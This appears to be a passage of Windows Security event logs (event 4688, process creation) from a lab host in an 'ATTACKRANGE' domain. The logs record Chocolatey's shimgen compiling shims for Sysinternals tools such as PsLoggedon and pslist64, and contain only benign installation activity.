Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246767
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb04
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc4c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246766
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xff4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsLoggedon64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_5832\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_5832\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_5832\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_5832\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_5832\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246765
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5dc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xff4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246764
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsLoggedon64.exe" --output="C:\ProgramData\chocolatey\bin\PsLoggedon64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsLoggedon64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246763
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe08
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF8D2.tmp" "c:\ProgramData\chocolatey\bin\CSC5F2069E568AF4FB2B26FDB5A91DF5E3.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246762
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe10
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe08
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246761
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe08
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x314
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsLoggedon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_3644\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_3644\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_3644\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_3644\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_3644\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246760
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xafc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x314
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246759
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x314
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsLoggedon.exe" --output="C:\ProgramData\chocolatey\bin\PsLoggedon.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsLoggedon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246758
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF7F7.tmp" "c:\ProgramData\chocolatey\bin\CSCD22161F71C6E47E8AC3DF98F91D797F8.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246757
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x534
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe60
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246756
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe60
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc6c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pslist64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_1613\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_1613\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_1613\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_1613\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_1613\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246755
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x838
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc6c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246754
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pslist64.exe" --output="C:\ProgramData\chocolatey\bin\pslist64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pslist64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246753
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe74
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF71C.tmp" "c:\ProgramData\chocolatey\bin\CSCF8BDD94387634584B2858871F438BA7.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246797
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246796
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe28
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
